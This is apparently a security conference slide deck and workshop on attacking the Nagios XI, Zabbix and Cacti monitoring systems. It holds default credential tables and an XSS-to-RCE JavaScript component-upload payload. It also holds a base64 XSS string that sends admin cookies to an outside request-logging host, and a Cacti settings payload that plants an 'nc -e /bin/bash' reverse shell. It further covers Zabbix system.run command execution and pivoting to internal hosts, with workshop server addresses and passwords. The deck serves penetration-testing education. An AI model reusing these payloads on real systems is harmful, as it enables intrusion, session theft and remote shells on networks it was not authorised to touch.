Monitoring Systems
Pentesters view

Igor Lyrchickov
Maxim Romodin
Nikita Konovalov
Sergey Ponomarkov
Key Features:

- Distributed Monitoring
- Triggers/Alerts
- Network statistic visualization (maps&graphs)
- WebApp
• Multifunctional monitoring system

• Preferred by many sysadmins

• Well monitoring networks with >250 hosts

• Resource-demanding
- Flexible and extensible system
- Monitoring with support SSL and SSH
- Many plug-ins and extensions developed by the community
- Kernel is written in C, Web on PHP
Short view of architecture
Nagios®

Short view of architecture

Monitorig Server

tcp 5666/SSL

Nagios

check_nt

NSClient++

CPU
Memory
Services
...

Windows host

Linux host

NRPE
check_load
check_disk
...

ctcp 5666/SSL
check_nrpe

www.zeronights.org
#zeronights
• Monitoring server has information about network and hosts (devices, addresses, services, OS)
• Monitoring functionality may allow remote control of monitored hosts (possible RCE on agents)
• Distributed architecture (Web, DBs, servers, agents)
• Many interesting CVE since 2010 (RCE, LFI, RFI, SQLi, Auth bypass)
• Default ports/creds

Pentester view

Looks interesting and doesn’t seem secure enough
Monitoring systems exploitation

mScan.py

Version checker and vulns scan

mScan

NagiosXI & Zabbix version detector and Vulnerabilities scanner based on Vulners API

https://github.com/HD421

Version Check
Zabbix/Nagios version checker
Cacti version checker

Default Credentials

<table>
<thead>
<tr>
<th></th>
<th>SSH Credentials</th>
<th>Database Credentials</th>
<th>Web Credentials</th>
<th>Port</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zabbix &lt;= 2.4</td>
<td>root/zabbix</td>
<td>root/zabbix/zabbix</td>
<td>Admin/zabbix/admin/admin</td>
<td>10050 10051</td>
</tr>
<tr>
<td></td>
<td>zabbix/zabbix</td>
<td>zabbix/zabbix</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Zabbix &gt;= 3.0</td>
<td>appliance/zabbix</td>
<td>zabbix/zabbix</td>
<td>Admin/zabbix/Adimin/Admin</td>
<td>10050 10051</td>
</tr>
<tr>
<td>Nagios</td>
<td>root/nagiosxi</td>
<td>--</td>
<td>nagiosadmin/nagios/nagiosadmin/nagiosadmin</td>
<td>5666</td>
</tr>
<tr>
<td>Cacti</td>
<td>--</td>
<td>caactuser/caactuser</td>
<td>admin/admin</td>
<td>--</td>
</tr>
</tbody>
</table>

URL IS https://github.com/HD421

SSL is not available, trying http://
[X] Nagios version is : 5.4.10
[X] Build is : 1505764847
[X] Product name is : nagiosxi
   - No vulnerabilities found.
Nagios server:
https://52.232.82.54/nagiosxi/
creds: nagiosadmin/Zer000nights
component code:
https://pastebin.com/qQHfa6Kf
We got couple XSS and RCE via component upload
Lets combine it for XSS to RCE payload:

```javascript
(function() {
    var raw = window.atob('Base64 With Payload'); // encode shell -> base64
    var rl = raw.length;
    var u8a = new Uint8Array(rl);
    for (var i = 0; i < rl; ++i) u8a[i] = raw.charCodeAt(i);
    var fd = new FormData(); // generate request
    fd.append('uploadedfile', new Blob([u8a], {type: 'application/zip'})); // set file type
    fd.append('upload', 1); // set action
    fd.append('nsp', parent.window.nsp_str); // set admin csrf token
    var request = new XMLHttpRequest();
    request.open("POST", "/nagiosxi/admin/components.php");
    request.send(fd); // sending POST request
})();
```
JS function for upload

https://pastebin.com/aNC9hSek
172.20.10.3
Attacker PC

172.20.10.4
PHP eval() shell via bad component

Open Port: tcp/443
Nagios Monitoring Server

TCP 5666
Nsclient++

TCP 5666
NRPE plugin

192.168.29.0/24
app1-srv
192.168.29.164
Windows Server 16 x64

192.168.29.133
CentOS 6.9
nagios-srv HACKED

192.168.29.138
Ubuntu 14.04
app2-srv

Attacker set proxy on Monitoring system server and can attack internal network
Workshop

172.20.10.3
Attacker PC

172.20.10.4
Open Port: tcp/443
Nagios Monitoring Server

192.168.29.0/24
nagios-srv HACKED
192.168.29.133
CentOS 6.9

TCP 5666
NRPE plugin

app2-srv
192.168.29.138
Ubuntu 14.04

app1-srv
192.168.29.164
Windows Server 16 x64

MS17-010
EternalRomance

Attacker set proxy on Monitoring system server and can attack internal network
**Workshop**

- **Attacker PC**: 172.20.10.3
- **Open Port**: tcp/443
- **Nagios Monitoring Server**: 172.20.10.4
  - **NRPE vulnerable monitoring plugin**
  - **nagios-srv HACKED**
    - 192.168.29.133
    - CentOS 6.9
  - **app2-srv**
    - 192.168.29.138
    - Ubuntu 14.04
- **Windows Server**: 192.168.29.164
  - Windows Server 16 x64
  - MS17-010 EternalRomance
- **Attacker set proxy on Monitoring system server and can attack internal network**

**Zero Nights**

www.zeronights.org
#zeronights
Zabbix server:
http://52.232.82.54/zabbix/
Files:
http://bit.ly/2iYUspa

Use Zabbix API system.run[] to execute commands on remote server **Hostname**: ‘Windows Host’
**IP**: 104.46.50.205
Timeout default **3 sec**
Short view of architecture

- Open source monitoring system
- Monitoring with support SNMP and SSH (optional)
- Written on PHP
Short view of architecture

- **MySQ**L
  - RRDtool for drawing commands
- **RRDtool**:
  - Logging & graphing
- **Net-SNMP**:
  - Regular data collection
- Users to view device information
  - Return graphics for the user
- Find the device corresponding to a rra file
Monitoring systems exploitation cheat sheet

Version Check
Zabbix/Nagios version checker
Cacti version checker

Default Credentials

<table>
<thead>
<tr>
<th></th>
<th>SSH Credentials</th>
<th>Database Credentials</th>
<th>Web Credentials</th>
<th>Port</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zabbix</td>
<td>root/zabbix</td>
<td>root/zabbix</td>
<td>Admin/zabbix</td>
<td>10050</td>
</tr>
<tr>
<td></td>
<td>zabbix/zabbix</td>
<td>zabbix/zabbix</td>
<td>admin/admin</td>
<td>10051</td>
</tr>
<tr>
<td>Zabbix</td>
<td>appliance/zabbix</td>
<td>zabbix/zabbix</td>
<td>Admin/zabbix/Admin</td>
<td>10050</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Admin/Admin</td>
<td>10051</td>
</tr>
<tr>
<td>Nagios</td>
<td>root/nagiosx1</td>
<td>--</td>
<td>nagiosadmin/nagios</td>
<td>5666</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>nagiosadmin/nagiosadmin</td>
<td></td>
</tr>
<tr>
<td>Cacti</td>
<td>--</td>
<td>cactiuser/cactiuser</td>
<td>admin/admin</td>
<td>--</td>
</tr>
</tbody>
</table>

https://github.com/HD421

Monitoring systems exploitation

checker.py

root@debian:~/cactiVersionCheck# python3 check.py -h
usage: check.py [-h] [-H HOST] [-p PORT]

Command-line tool for Cacti version check

optional arguments:
  -h, --help      show this help message and exit
  -H HOST, --host HOST  Host to check
  -p PORT, --port PORT  Port on which Cacti is located

Version checker and vulns scan for Cacti

https://github.com/worlak2/cactiVersionCheck
How we found 0day(CVE-2017-16641)

https://github.com/Cacti/cacti/issues/1057
**CVE-2017-16641**

**Name**: CVE-2017-16641

**Description**: libnftnl php in Cacti 1.1.27 allows remote authenticated administrators to execute arbitrary commands on a remote system. (CVE-2017-16641)

**Source**: CVE (at NVD, CERT, LWN, oss-sec, full-disc, bugtraq, EDB, Metasploit, Red Hat, Ubuntu, Gentoo, SuSE, Mageia, GitHub code/issues, web search, more)

**Debian Bugs**: 881110

---

### Vulnerable and fixed packages

The table below lists information on source packages.

<table>
<thead>
<tr>
<th>Source Package</th>
<th>Release</th>
<th>Version</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>cacti (PTS)</td>
<td>wheezy</td>
<td>0.8.8a+dfsg-5+deb7u6</td>
<td>vulnerable</td>
</tr>
<tr>
<td></td>
<td>wheezy (security)</td>
<td>0.8.8a+dfsg-5+deb7u10</td>
<td>vulnerable</td>
</tr>
<tr>
<td></td>
<td>jessie</td>
<td>0.8.8b+dfsg-8+deb8u5</td>
<td>vulnerable</td>
</tr>
<tr>
<td></td>
<td>jessie (security)</td>
<td>0.8.8b+dfsg-8+deb8u4</td>
<td>vulnerable</td>
</tr>
<tr>
<td></td>
<td>stretch</td>
<td>0.8.8h+ds1-10</td>
<td>vulnerable</td>
</tr>
<tr>
<td></td>
<td>buster, sid</td>
<td>1.1.27+ds1-2</td>
<td>vulnerable</td>
</tr>
</tbody>
</table>

The information below is based on the following data on fixed versions.

<table>
<thead>
<tr>
<th>Package</th>
<th>Type</th>
<th>Release</th>
<th>Fixed Version</th>
<th>Urgency</th>
<th>Origin</th>
<th>Debian Bugs</th>
</tr>
</thead>
<tbody>
<tr>
<td>cacti</td>
<td>source</td>
<td>(unstable)</td>
<td>(unfixed)</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Using our RCE

```
ls

C:\Users\rm\C:\Users\rm\Desktop\nc.exe -lup 1337
listening on [any] 1337 ...
192.168.1.212: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.1.214] from (UNKNOWN) [192.168.1.212] 53784: NO_DATA

ls
about.php
aggregate_graphs.php
aggregate_items.php
aggregate_templates.php
auth_changepassword.php
auth_login.php
```
Custom Payload work on 1.1.20-1.1.27
Cacti version (In all browser)

• `/host.php/gahv8'-
eval(atob('ZG9jdW1lbnQuZwd3JpdGUo
ljsxpbWcgc3JjPSdodHRwczovL3JlcXVlc3RiLmluLzEzNThqYTlxaP2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'))-
'w6vt7??

Get cookie admin!
### Work on Cacti 1.1.16-1.1.27, IE11

```javascript
var http = new XMLHttpRequest();
var url = "/cacti/cacti/settings.php?tab=path&header=false";
var payload = "nc -e /bin/bash 192.168.1.214 1337";
var params = "__csrf_magic="+csrfMagicToken+"&path_snmpwalk="+document.getElementById('path_snmpwalk').value+
"&path_snmpget="+document.getElementById('path_snmpget').value+"&path_snmpbulkwalk="+document.getElementById('path_snmpbulkwalk').value+
"&path_snmpgetnext="+document.getElementById('path_snmpgetnext').value+"&path_snmptrap="+document.getElementById('path_snmptrap').value+
"&path_rrdtool="+payload+"&path_php_binary="+document.getElementById('path_php_binary').value+
"&path_cactilog="+document.getElementById('path_cactilog').value+"&logrotate_retain="+document.getElementById('logrotate_retain').value+
"&path_spine="+document.getElementById('path_spine').value+"&path_spine_config="+document.getElementById('path_spine_config').value+
"&rrd_autoclean_method="+document.getElementById('rrd_autoclean_method').value+"&rrd_archive="+document.getElementById('rrd_archive').value+
"&tab=path&action=save";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send(params);
```
In cacti log we can read ssh key’s
If we have shell we can execute command on monitoring host

What about SSH????

Table Of Contents

• Installing SSH-Based Templates
  ○ List of Templates
  ○ Creating an SSH Key Pair
  ○ Creating the User
  ○ Installing the Public Key

```
debian:~# chown www-data /etc/cacti/id_rsa
debian:~# ls -l /etc/cacti/
total 16
-rw-r--r-- 1 root root  539 2008-08-08 21:43 apache.conf
-rw-r--r-- 1 root www-data 575 2009-10-20 16:23 debian.php
-rw-r----- 1 www-data root 1675 2009-10-27 18:07 id_rsa
-rw-r--r-- 1 www-data root  393 2009-10-27 18:07 id_rsa.pub
```
Thanks for attention

Special thanks: @PenGenKiddy, @shodin, @mfocuz, @Sab0tag3d, @Ivan_igc